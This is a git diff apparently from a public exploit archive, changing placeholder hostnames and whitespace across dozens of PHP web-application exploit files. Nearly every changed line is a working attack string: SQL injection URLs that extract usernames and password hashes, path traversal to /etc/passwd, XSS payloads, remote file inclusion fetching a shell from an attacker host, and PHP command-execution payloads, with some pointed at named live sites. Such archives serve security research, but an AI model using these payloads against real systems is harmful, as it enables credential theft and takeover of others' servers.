Multiple SQL Injection -http://www.server/path/showtheme.php?id=-1' UNION ALL SELECT 1,2,CONCAT(name, 0x3a, passwd_hash),NULL,5,6,7 FROM users%23 +http://www.site.com/path/showtheme.php?id=-1' UNION ALL SELECT 1,2,CONCAT(name, 0x3a, passwd_hash),NULL,5,6,7 FROM users%23 -http://www.server/path/userinfo.php?user=-1' UNION ALL SELECT 1,2,3,4,5,6,7,8,CONCAT(name, 0x3a, passwd_hash),10,11,12 FROM users%23 +http://www.site.com/path/userinfo.php?user=-1' UNION ALL SELECT 1,2,3,4,5,6,7,8,CONCAT(name, 0x3a, passwd_hash),10,11,12 FROM users%23 ************************************************* diff --git a/platforms/php/webapps/8172.txt b/platforms/php/webapps/8172.txt index 7e1096551..1ec17000c 100755 --- a/platforms/php/webapps/8172.txt +++ b/platforms/php/webapps/8172.txt @@ -28,8 +28,8 @@ PoC: ---[ HTTP Request: GET /index.php HTTP/1.1 -Host: www.server -Cookie: binn_include_path=http://evil.server/shell.txt? +Host: www.site.com +Cookie: binn_include_path=http://evil.site.com/shell.txt? ----- diff --git a/platforms/php/webapps/8185.txt b/platforms/php/webapps/8185.txt index b57207b5a..bceeeb18e 100755 --- a/platforms/php/webapps/8185.txt +++ b/platforms/php/webapps/8185.txt @@ -69,27 +69,27 @@ directory on the web server. - [A] Multiple SQL Injection -http://www.server/path/index.php?n=guest&c=0&m=forum&s=1&forum_id=-1' UNION ALL SELECT 1,2,CONCAT(nick, 0x3a, pwd),4,5,6,7,8 FROM com_users%23 +http://www.site.com/path/index.php?n=guest&c=0&m=forum&s=1&forum_id=-1' UNION ALL SELECT 1,2,CONCAT(nick, 0x3a, pwd),4,5,6,7,8 FROM com_users%23 -http://www.server/path/index.php?n=guest&c=0&m=forum&s=2&forum_id=0&topic_id=-1' UNION ALL SELECT GROUP_CONCAT(CONCAT(nick, 0x3a, pwd)) FROM com_users%23 +http://www.site.com/path/index.php?n=guest&c=0&m=forum&s=2&forum_id=0&topic_id=-1' UNION ALL SELECT GROUP_CONCAT(CONCAT(nick, 0x3a, pwd)) FROM com_users%23 -http://www.server/path/index.php?n=guest&c=0&m=search&s=id&wert=-1%25" UNION ALL SELECT CONCAT(nick, 0x3a, pwd),2 FROM com_users%23 +http://www.site.com/path/index.php?n=guest&c=0&m=search&s=id&wert=-1%25" UNION ALL SELECT CONCAT(nick, 0x3a, pwd),2 FROM com_users%23 -http://www.server/path/index.php?n=guest&c=0&m=search&s=nick&wert=-1%25" UNION ALL SELECT CONCAT(nick, 0x3a, pwd),2 FROM com_users%23 +http://www.site.com/path/index.php?n=guest&c=0&m=search&s=nick&wert=-1%25" UNION ALL SELECT CONCAT(nick, 0x3a, pwd),2 FROM com_users%23 -http://www.server/path/index.php?n=guest&c=0&m=search&s=forum&wert=-1%25" UNION ALL SELECT 1,2,3,4,CONCAT(nick, 0x3a, pwd),6 FROM com_users%23 +http://www.site.com/path/index.php?n=guest&c=0&m=search&s=forum&wert=-1%25" UNION ALL SELECT 1,2,3,4,CONCAT(nick, 0x3a, pwd),6 FROM com_users%23 - [B] Directory Traversal -http://www.server/path/module/admin/files/show_file.php?file=../../../../../../../../etc/passwd +http://www.site.com/path/module/admin/files/show_file.php?file=../../../../../../../../etc/passwd -http://www.server/path/module/admin/files/show_source.php?path=/etc +http://www.site.com/path/module/admin/files/show_source.php?path=/etc - [C] Reflected XSS -http://www.server/path/templates/1/login.php?msg=<script>alert('XSS');</script> +http://www.site.com/path/templates/1/login.php?msg=<script>alert('XSS');</script> ************************************************* diff --git a/platforms/php/webapps/8186.txt b/platforms/php/webapps/8186.txt index d7508da4a..786682819 100755 --- a/platforms/php/webapps/8186.txt +++ b/platforms/php/webapps/8186.txt @@ -14,8 +14,8 @@ + + + Exploit: + + + -+ http://server/[path]/book_panel/books.php?&bookid=-1+union+select+1,2,user_name,4,5,6+from+fusion_users-- + -+ http://server/[path]/book_panel/books.php?&bookid=-1+union+select+1,2,user_password,4,5,6+from+fusion_users-- + ++ http://site.com/[path]/book_panel/books.php?&bookid=-1+union+select+1,2,user_name,4,5,6+from+fusion_users-- + ++ http://site.com/[path]/book_panel/books.php?&bookid=-1+union+select+1,2,user_password,4,5,6+from+fusion_users-- + + + \+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/ diff --git a/platforms/php/webapps/8194.txt b/platforms/php/webapps/8194.txt index c3da5df9a..0ff5998eb 100755 --- a/platforms/php/webapps/8194.txt +++ b/platforms/php/webapps/8194.txt @@ -10,7 +10,7 @@ Greetings: x.CJP.x & AnGeL25Dz ------------------------------------------------------------------------------------------------------------------------------------- Exploit: -http://server/[path]/index.php?m=recipes&a=search&search=yes&course_id=5+union+all+select+1,2,user_name,4,5,6,7+from+security_users-- +http://site.com/[path]/index.php?m=recipes&a=search&search=yes&course_id=5+union+all+select+1,2,user_name,4,5,6,7+from+security_users-- live demo : http://recipes.casetaintor.com/index.php?m=recipes&a=search&search=yes&course_id=5+union+all+select+1,2,user_name,4,5,6,7+from+security_users-- diff --git a/platforms/php/webapps/8204.txt b/platforms/php/webapps/8204.txt index b6c7524b1..30aadd34c 100755 --- a/platforms/php/webapps/8204.txt +++ b/platforms/php/webapps/8204.txt @@ -46,7 +46,7 @@ http://www.example.com/index.php?r=competition&v1=view&v2=1&v3=1&v4=&v5=all&v6=[ [XSS] = "><script>alert(document.cookie)</script> or - "><script src="http://www.badserver/page.js"></script> + "><script src="http://www.badsite.com/page.js"></script> ########::D&m0::######## diff --git a/platforms/php/webapps/8207.txt b/platforms/php/webapps/8207.txt index 740df2ea1..0869bf4a0 100755 --- a/platforms/php/webapps/8207.txt +++ b/platforms/php/webapps/8207.txt @@ -14,7 +14,7 @@ # Update to v1.1.1 : http://wildmary.net-sauvage.com/share/yap-patch1.1.1.zip -# EXPLOIT : http://www.server/index.php?page=[LFI]%00 +# EXPLOIT : http://www.site.com/index.php?page=[LFI]%00 # GREETZ : HACKERS PAL, Dr.Cr@ck, All soqor.net members, All Moroccan Hackers. diff --git a/platforms/php/webapps/8209.txt b/platforms/php/webapps/8209.txt index 99325db14..cd80fb209 100755 --- a/platforms/php/webapps/8209.txt +++ b/platforms/php/webapps/8209.txt @@ -1,4 +1,4 @@ - + ############################################################### # # # Kim Websites 1.0 SQL Injection Vulnerability # diff --git a/platforms/php/webapps/8210.txt b/platforms/php/webapps/8210.txt index e54751f3d..14d3d6357 100755 --- a/platforms/php/webapps/8210.txt +++ b/platforms/php/webapps/8210.txt @@ -20,7 +20,7 @@ Tested on version 5.5.1, others may be vulnerable Admin Login SQL Injection ------------------------- -http://www.webserver/ubbthreads/viewmessage.php?Cat=&message=-99%20UNION%20SELECT%20null,email,password,0,0%20FROM%20admin_users%20WHERE%20id=1/*&status=N&box=received +http://www.website.com/ubbthreads/viewmessage.php?Cat=&message=-99%20UNION%20SELECT%20null,email,password,0,0%20FROM%20admin_users%20WHERE%20id=1/*&status=N&box=received ++ Email is in From: field of forum post ++ Password is text body of post ++ Increment the "id" to obtain each admin's credentials (1, 2, 3, etc.) @@ -28,7 +28,7 @@ http://www.webserver/ubbthreads/viewmessage.php?Cat=&message=-99%20UNION%20SELEC Admin login: ------------ -http://www.webserver/Admin/login.php +http://www.website.com/Admin/login.php $query = "SELECT * FROM admin_users WHERE email = '$email' AND password = '$password'"; diff --git a/platforms/php/webapps/8229.txt b/platforms/php/webapps/8229.txt index c87c18bb5..d6e2ec03a 100755 --- a/platforms/php/webapps/8229.txt +++ b/platforms/php/webapps/8229.txt @@ -7,7 +7,7 @@ # Google Dork: "Gallery powered by fMoblog" ############################################################## -# Exploit: http://www.server/?page_id=[valid_id]&id=-999+union+all+select+1,2,3,4,group_concat(user_login,0x3a,user_pass,0x3a,user_email),6+from+wp_users-- +# Exploit: http://www.site.com/?page_id=[valid_id]&id=-999+union+all+select+1,2,3,4,group_concat(user_login,0x3a,user_pass,0x3a,user_email),6+from+wp_users-- # Demo: http://www.tarynitup.com/?page_id=20&id=-999+union+all+select+1,2,3,4,group_concat(user_login,0x3a,user_pass,0x3a,user_email),6+from+wp_users-- ############################################################## diff --git a/platforms/php/webapps/8230.txt b/platforms/php/webapps/8230.txt index 1b2a880e6..def302ac5 100755 --- a/platforms/php/webapps/8230.txt +++ b/platforms/php/webapps/8230.txt @@ -10,7 +10,7 @@ Just addition This Exploit and enjoy # -/cross.php?url=http://server/sh3ll.txt +/cross.php?url=http://site.com/sh3ll.txt /cross.php?url=../../../.../../../../../etc/passwd%00 diff --git a/platforms/php/webapps/8243.txt b/platforms/php/webapps/8243.txt index 73f963ba8..8ea3f2a06 100755 --- a/platforms/php/webapps/8243.txt +++ b/platforms/php/webapps/8243.txt @@ -16,7 +16,7 @@ Vulnerability = Insicure Cookie Handling [CODE] -[URL] www.server/bloginator/articleCall.php +[URL] www.site.com/bloginator/articleCall.php global $name,$password,$returnLink; $p_name = strip_tags(substr($_POST['name'],0,32)); @@ -49,7 +49,7 @@ Vulnerability = SQL injection [CODE] -[URL] www.server/bloginator/articleCall.php +[URL] www.site.com/bloginator/articleCall.php $action = @$_GET['action']; [...] @@ -76,7 +76,7 @@ startHTML("Edit ID # ".$id); As Admin (Post Cookie exploit) you can inj arbitrary SQL code in the query. -www.server/action=edit&id=fireshot' union select 1,2,3,4,load_file('/etc/passwd'),6,7 order by '* +www.site.com/action=edit&id=fireshot' union select 1,2,3,4,load_file('/etc/passwd'),6,7 order by '* [/EXPLOIT] diff --git a/platforms/php/webapps/8244.txt b/platforms/php/webapps/8244.txt index edb060d8a..6e4dd7fa4 100755 --- a/platforms/php/webapps/8244.txt +++ b/platforms/php/webapps/8244.txt @@ -15,7 +15,7 @@ Greets to = Myral, str0ke [CODE] -[URL] www.server/bloginator/articleCall.php +[URL] www.site.com/bloginator/articleCall.php global $name,$password,$returnLink; $p_name = strip_tags(substr($_POST['name'],0,32)); diff --git a/platforms/php/webapps/8254.pl b/platforms/php/webapps/8254.pl index 96524da09..522cccfcb 100755 --- a/platforms/php/webapps/8254.pl +++ b/platforms/php/webapps/8254.pl @@ -21,8 +21,8 @@ print q { }; if (@ARGV < 3) { - print "Usage: wbb3sploit.pl [url] [user id] [User Gallery userID] \nExample: wbb3sploit.pl server 1 5\n"; - print "[User Gallery UserID] has to be the ID of a User, who has got pictures.\nExample: server/index.php?page=RGalleryUserGallery&userID=5\n"; + print "Usage: wbb3sploit.pl [url] [user id] [User Gallery userID] \nExample: wbb3sploit.pl www.target.com 1 5\n"; + print "[User Gallery UserID] has to be the ID of a User, who has got pictures.\nExample: www.target.com/index.php?page=RGalleryUserGallery&userID=5\n"; exit; } diff --git a/platforms/php/webapps/8258.pl b/platforms/php/webapps/8258.pl index 356a12d45..bc90daa4f 100755 --- a/platforms/php/webapps/8258.pl +++ b/platforms/php/webapps/8258.pl @@ -30,7 +30,7 @@ use IO::Select; my @tables=("id","login_name","password","email","status"); if(scalar(@ARGV) < 1) { - print "\nUsage: perl expl.pl http://server/path/\n\n"; + print "\nUsage: perl expl.pl http://site.com/path/\n\n"; exit; } diff --git a/platforms/php/webapps/8271.php b/platforms/php/webapps/8271.php index cd8dd3760..3a5c2dc44 100755 --- a/platforms/php/webapps/8271.php +++ b/platforms/php/webapps/8271.php @@ -153,7 +153,7 @@ echo("---- pluck v 4.6.1 -----\n\n". "Path: $path\n". "Port: $port\n". "COM: $command\n". - "Ex: poc.php server 80 pluck \"dir\"\n\n"); + "Ex: poc.php www.target.com 80 pluck \"dir\"\n\n"); _inject($host,$port); _exploit($host,$path); diff --git a/platforms/php/webapps/8278.txt b/platforms/php/webapps/8278.txt index 36fc41bc5..d4433980a 100755 --- a/platforms/php/webapps/8278.txt +++ b/platforms/php/webapps/8278.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -14,7 +14,7 @@ # Script site: http://jinzora.com/ , http://sourceforge.net/projects/jinzora/ # Download: http://downloads.sourceforge.net/jinzora/jz280.tar.gz?use_mirror=freefr # - # Vuln: http://server/jinzora2/index.php?op=1&name=../../../../../../etc/passwd%00 + # Vuln: http://site.com/jinzora2/index.php?op=1&name=../../../../../../etc/passwd%00 # # Bug: ./jinzora2/index.php (lines: 36-47, 95) # diff --git a/platforms/php/webapps/8290.txt b/platforms/php/webapps/8290.txt index 6aa8709db..99bc661cc 100755 --- a/platforms/php/webapps/8290.txt +++ b/platforms/php/webapps/8290.txt @@ -1,4 +1,4 @@ ---:local file include:-- + --:local file include:-- --------------------------------- script:blog+ v1.0 diff --git a/platforms/php/webapps/8293.txt b/platforms/php/webapps/8293.txt index c52bacf47..c8f92d030 100755 --- a/platforms/php/webapps/8293.txt +++ b/platforms/php/webapps/8293.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| q_|_|| o_w_, ( : / (_) / ( . diff --git a/platforms/php/webapps/8296.txt b/platforms/php/webapps/8296.txt index ffde86cf1..80402fd7d 100755 --- a/platforms/php/webapps/8296.txt +++ b/platforms/php/webapps/8296.txt @@ -10,7 +10,7 @@ \#################################/ [!] EXPLOIT - 1) Go to http://server/register.php + 1) Go to http://site.com/register.php 2) In username field input XSS payload 3) Fill in the rest of the fields and submit. 4) Activate account! diff --git a/platforms/php/webapps/832.txt b/platforms/php/webapps/832.txt index 2b9e32647..3bab413ce 100755 --- a/platforms/php/webapps/832.txt +++ b/platforms/php/webapps/832.txt @@ -7,6 +7,6 @@ Proof of concept ================ -http://server/misc.php?do=page&template={${phpinfo()}} +http://site.com/misc.php?do=page&template={${phpinfo()}} # milw0rm.com [2005-02-22] diff --git a/platforms/php/webapps/8323.txt b/platforms/php/webapps/8323.txt index a6bdaa304..2d0aee59e 100755 --- a/platforms/php/webapps/8323.txt +++ b/platforms/php/webapps/8323.txt @@ -43,9 +43,9 @@ This bug allows a guest to view username and password of a registered user. - [A] Multiple SQL Injection -http://www.server/path/view.php?article_id=-1 UNION ALL SELECT 1,2,username,password,5,6,7,8,9 FROM comcms_users +http://www.site.com/path/view.php?article_id=-1 UNION ALL SELECT 1,2,username,password,5,6,7,8,9 FROM comcms_users -http://www.server/path/index.php?id=2&view=event&a=-1 UNION ALL SELECT 1,2,3,4,5,6,7,CONCAT(username, 0x3a, password),NULL,NULL,NULL,12,13,NULL FROM comcms_users%23 +http://www.site.com/path/index.php?id=2&view=event&a=-1 UNION ALL SELECT 1,2,3,4,5,6,7,CONCAT(username, 0x3a, password),NULL,NULL,NULL,12,13,NULL FROM comcms_users%23 ************************************************* diff --git a/platforms/php/webapps/8328.txt b/platforms/php/webapps/8328.txt index 137fc277c..226c84247 100755 --- a/platforms/php/webapps/8328.txt +++ b/platforms/php/webapps/8328.txt @@ -50,6 +50,6 @@ include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_language/".$GL - [A] Local File Inclusion -http://www.server/path/index.php?WE_LANGUAGE=../../../../../../../../etc/passwd%00 +http://www.site.com/path/index.php?WE_LANGUAGE=../../../../../../../../etc/passwd%00 # milw0rm.com [2009-03-31] diff --git a/platforms/php/webapps/8331.txt b/platforms/php/webapps/8331.txt index ad024543a..6a7636e12 100755 --- a/platforms/php/webapps/8331.txt +++ b/platforms/php/webapps/8331.txt @@ -11,7 +11,7 @@ ######################################## SQL-injection -[+] URL: http://server/vsp-core/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x203a20,user(),database(),version()),2/*&config=cfg-default.php +[+] URL: http://target.com/vsp-core/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x203a20,user(),database(),version()),2/*&config=cfg-default.php [+] Output: <option> {DATA} </option> Bug Function: (vsp-core\pub\themes\bismarck\gamestat.php 540-558 lines) diff --git a/platforms/php/webapps/8334.txt b/platforms/php/webapps/8334.txt index 2c8286d37..638036bad 100755 --- a/platforms/php/webapps/8334.txt +++ b/platforms/php/webapps/8334.txt @@ -1,4 +1,4 @@ -:local file include: + :local file include: ############################# script: koschtit_image_gallery(v1.82) diff --git a/platforms/php/webapps/8353.txt b/platforms/php/webapps/8353.txt index 0e9e5b9a6..98ea12aaf 100755 --- a/platforms/php/webapps/8353.txt +++ b/platforms/php/webapps/8353.txt @@ -47,7 +47,7 @@ files on system. - [A] SQL Injection -http://www.server/path/index.php?option=com_bookjoomlas&Itemid=26&func=comment&gbid=-1 UNION ALL SELECT 1,2,NULL,4,NULL,6,7,NULL,9,CONCAT(username,0x3a,password),11,12,13,14,15,16 FROM jos_users +http://www.site.com/path/index.php?option=com_bookjoomlas&Itemid=26&func=comment&gbid=-1 UNION ALL SELECT 1,2,NULL,4,NULL,6,7,NULL,9,CONCAT(username,0x3a,password),11,12,13,14,15,16 FROM jos_users ************************************************* diff --git a/platforms/php/webapps/8355.txt b/platforms/php/webapps/8355.txt index 31a956fcb..dd485d3ba 100755 --- a/platforms/php/webapps/8355.txt +++ b/platforms/php/webapps/8355.txt @@ -6,7 +6,7 @@ AUTHOR: MisterRichard Developer site: http://www.flexcms.dk/ Admin login site: -http://server/flexadmin/ +http://target.com/flexadmin/ *************************************** [=] Vulnerability author : Lanti-Net diff --git a/platforms/php/webapps/8372.txt b/platforms/php/webapps/8372.txt index b088b87d8..e76c7f040 100755 --- a/platforms/php/webapps/8372.txt +++ b/platforms/php/webapps/8372.txt @@ -1,4 +1,4 @@ -=-=-shell upload/local file-=-= + =-=-shell upload/local file-=-= -=-=-=-=-=-=-=-=-=-= script::Photo-GraffixV3.4.zip diff --git a/platforms/php/webapps/8383.txt b/platforms/php/webapps/8383.txt index cab326bd5..7f19bf532 100755 --- a/platforms/php/webapps/8383.txt +++ b/platforms/php/webapps/8383.txt @@ -101,9 +101,9 @@ http://site/path/rce.php?cmd=uname -a - [B] Multiple Dynamic Code Execution -http://www.server/path/index.php?do=profile&user=blabla&box=<?php echo "<pre>"; system('ls'); echo "</pre>"?> +http://www.site.com/path/index.php?do=profile&user=blabla&box=<?php echo "<pre>"; system('ls'); echo "</pre>"?> -http://www.server/path/index.php?do=messages&user=blabla&box=<?php echo "<pre>"; system('ls'); echo "</pre>"?> +http://www.site.com/path/index.php?do=messages&user=blabla&box=<?php echo "<pre>"; system('ls'); echo "</pre>"?> ************************************************* diff --git a/platforms/php/webapps/8387.txt b/platforms/php/webapps/8387.txt index 220962ac6..6b9115c89 100755 --- a/platforms/php/webapps/8387.txt +++ b/platforms/php/webapps/8387.txt @@ -66,7 +66,7 @@ queries. - [A] Information Disclosure -http://www.server/path/config.inc +http://www.site.com/path/config.inc - [B] Authentication Bypass @@ -77,11 +77,11 @@ Password: password - [C] Multiple SQL Injection -http://www.server/path/viewprofile.php?userID=-1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,GROUP_CONCAT(CONCAT(username, 0x3a, password)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM users%23 +http://www.site.com/path/viewprofile.php?userID=-1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,GROUP_CONCAT(CONCAT(username, 0x3a, password)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM users%23 -http://www.server/path/viewmessage.php?threadID=-1' UNION ALL SELECT NULL,NULL,NULL,NULL,GROUP_CONCAT(CONCAT(username, 0x3a, password)),NULL,NULL,NULL FROM users%23 +http://www.site.com/path/viewmessage.php?threadID=-1' UNION ALL SELECT NULL,NULL,NULL,NULL,GROUP_CONCAT(CONCAT(username, 0x3a, password)),NULL,NULL,NULL FROM users%23 -http://www.server/path/viewthreads.php?boardID=-1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,GROUP_CONCAT(CONCAT(username, 0x3a, password)) FROM users%23 +http://www.site.com/path/viewthreads.php?boardID=-1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,GROUP_CONCAT(CONCAT(username, 0x3a, password)) FROM users%23 ************************************************* diff --git a/platforms/php/webapps/8388.txt b/platforms/php/webapps/8388.txt index 02dc1d679..b2d2848f2 100755 --- a/platforms/php/webapps/8388.txt +++ b/platforms/php/webapps/8388.txt @@ -47,7 +47,7 @@ inserting PHP code. <html> <head>PHP-agenda <= 2.2.5 - Remote File Overwriting</head> <body> - <form action="http://www.server/path/install.php" method="post"> + <form action="http://www.site.com/path/install.php" method="post"> <input type="text" name="dbhost" size="30" value="'; system($_GET['cmd']); echo '"> <input type="submit" value="Exploit!" > </form> @@ -56,7 +56,7 @@ inserting PHP code. To execute commands: -http://www.server/path/config.inc.php?cmd=uname -a +http://www.site.com/path/config.inc.php?cmd=uname -a ************************************************* diff --git a/platforms/php/webapps/8409.txt b/platforms/php/webapps/8409.txt index 369e3e338..0506682b0 100755 --- a/platforms/php/webapps/8409.txt +++ b/platforms/php/webapps/8409.txt @@ -1,4 +1,4 @@ -=-=-local file include-=-= + =-=-local file include-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-= script::Yellow Duck Weblog diff --git a/platforms/php/webapps/8418.pl b/platforms/php/webapps/8418.pl index eb7e3e18c..ca5fb7b89 100755 --- a/platforms/php/webapps/8418.pl +++ b/platforms/php/webapps/8418.pl @@ -54,7 +54,7 @@ use lwp::UserAgent; system('cls'); system('title ASP Product Catalog Multiple Remote Exploits'); system('color 2'); -if (!defined($ARGV[0] && $ARGV[1])) {print "[!] Usage : \n ./exploit http://server -DD\n ./exploit http://server -XSS\n";exit();} +if (!defined($ARGV[0] && $ARGV[1])) {print "[!] Usage : \n ./exploit http://site.com -DD\n ./exploit http://site.com -XSS\n";exit();} if ($ARGV[0] =~ /http:\/\// ) { $site = $ARGV[0]."/"; } else { $site = "http://".$ARGV[0]."/"; } my @array; print "\n\n\n\n OOO OOO OO OO OO\n" ; diff --git a/platforms/php/webapps/8433.txt b/platforms/php/webapps/8433.txt index e763457d4..2e84440ff 100755 --- a/platforms/php/webapps/8433.txt +++ b/platforms/php/webapps/8433.txt @@ -1,4 +1,4 @@ -######################################## + ######################################## # # Product : RQMS # Version : 1.2.2 diff --git a/platforms/php/webapps/8435.txt b/platforms/php/webapps/8435.txt index 19806aada..5d1189280 100755 --- a/platforms/php/webapps/8435.txt +++ b/platforms/php/webapps/8435.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/8436.txt b/platforms/php/webapps/8436.txt index 06ccf0c59..8aaa99837 100755 --- a/platforms/php/webapps/8436.txt +++ b/platforms/php/webapps/8436.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| @@ -36,7 +36,7 @@ >>> step 1 :: register in site ... and login >>> step 2 :: goto ur profil and upload ur shell ( shell.php) - >>> ur shell will here ... ( www.server/path/photoes/number_shell.php + >>> ur shell will here ... ( www.site.com/path/photoes/number_shell.php ======================================================= ++++++++++++++++++++++ Greetz +++++++++++++++++++++++++ diff --git a/platforms/php/webapps/8437.txt b/platforms/php/webapps/8437.txt index d6a03bc45..04b5be915 100755 --- a/platforms/php/webapps/8437.txt +++ b/platforms/php/webapps/8437.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/8438.txt b/platforms/php/webapps/8438.txt index 82be57ab0..957d3ca7d 100755 --- a/platforms/php/webapps/8438.txt +++ b/platforms/php/webapps/8438.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/8439.txt b/platforms/php/webapps/8439.txt index e1e9dbb0d..c312e580c 100755 --- a/platforms/php/webapps/8439.txt +++ b/platforms/php/webapps/8439.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/8440.txt b/platforms/php/webapps/8440.txt index b639b3564..78b357111 100755 --- a/platforms/php/webapps/8440.txt +++ b/platforms/php/webapps/8440.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/8441.txt b/platforms/php/webapps/8441.txt index 7e346433d..9d0384034 100755 --- a/platforms/php/webapps/8441.txt +++ b/platforms/php/webapps/8441.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/8442.txt b/platforms/php/webapps/8442.txt index 1d350d726..e2d2c56ba 100755 --- a/platforms/php/webapps/8442.txt +++ b/platforms/php/webapps/8442.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/8446.txt b/platforms/php/webapps/8446.txt index e177ace52..ab28bbb1a 100755 --- a/platforms/php/webapps/8446.txt +++ b/platforms/php/webapps/8446.txt @@ -1,4 +1,4 @@ -=-=-local file include-=-= + =-=-local file include-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-= script::FreeWebshop.org 2..2.9_R2 diff --git a/platforms/php/webapps/8459.htm b/platforms/php/webapps/8459.htm index e4a7dcee7..ee5a3b7bd 100755 --- a/platforms/php/webapps/8459.htm +++ b/platforms/php/webapps/8459.htm @@ -1,4 +1,4 @@ -<title> Powered by eLitius Version 1.0 Change Password </title> + <title> Powered by eLitius Version 1.0 Change Password </title> <form action="http://esyndicat.org/admin/manage-admin.php" method="post" name="adminForm"> <table class="admintable"> diff --git a/platforms/php/webapps/8474.txt b/platforms/php/webapps/8474.txt index 0908e9ca4..fb90fac92 100755 --- a/platforms/php/webapps/8474.txt +++ b/platforms/php/webapps/8474.txt @@ -1,4 +1,4 @@ -=-=-Remote Arbitrary File Upload-=-= + =-=-Remote Arbitrary File Upload-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-= script::e-cart Shopping Carts diff --git a/platforms/php/webapps/8480.txt b/platforms/php/webapps/8480.txt index c9860a5ca..d76b0bc90 100755 --- a/platforms/php/webapps/8480.txt +++ b/platforms/php/webapps/8480.txt @@ -83,6 +83,6 @@ files. - [A] Local File Inclusion -http://www.server/path/index.php?page=../../../../../etc/passwd +http://www.site.com/path/index.php?page=../../../../../etc/passwd # milw0rm.com [2009-04-20] diff --git a/platforms/php/webapps/8496.htm b/platforms/php/webapps/8496.htm index 5ff2031c7..63f46ade0 100755 --- a/platforms/php/webapps/8496.htm +++ b/platforms/php/webapps/8496.htm @@ -1,4 +1,4 @@ -<title> Powered by: TotalCalendar 2.4 Remote Password Change </title> + <title> Powered by: TotalCalendar 2.4 Remote Password Change </title> <tr align="left"> <td width="10">&nbsp;</td> <td align="center"><span class="boxHeader">Cod[3]d By ThE g0bL!N</span></td> diff --git a/platforms/php/webapps/8498.txt b/platforms/php/webapps/8498.txt index 63e7aa96a..269f0f02e 100755 --- a/platforms/php/webapps/8498.txt +++ b/platforms/php/webapps/8498.txt @@ -1,4 +1,4 @@ -<title> Powered By eLitius 1.0 Remote Database Backup </title> + <title> Powered By eLitius 1.0 Remote Database Backup </title> <form action="http://esyndicat.org/admin/database-backup.php" method="post" name="adminForm"> <table class="admintable"> <tbody><tr> diff --git a/platforms/php/webapps/8516.txt b/platforms/php/webapps/8516.txt index ffda69f1d..173cf4ed8 100755 --- a/platforms/php/webapps/8516.txt +++ b/platforms/php/webapps/8516.txt @@ -1,4 +1,4 @@ -( ' )-. ,~'`-. + ( ' )-. ,~'`-. ,~' ` ' ) ) _( _) ) ( ( .--.===.--. ( ` ' ) `.%%. .#`. `-'`~~=~' @@ -31,7 +31,7 @@ xpl: http://127.0.0.1/path/webportal-0.8-beta/libraries/helpdocs/help.php?lang=[local file]%00 -http://127.0.0.1/path/webportal-0.8-beta/indexk.php?lib_path=http://server/shell.txt? +http://127.0.0.1/path/webportal-0.8-beta/indexk.php?lib_path=http://site.com/shell.txt? http://127.0.0.1/path/webportal-0.8-beta/index.php?error=[local file]%00 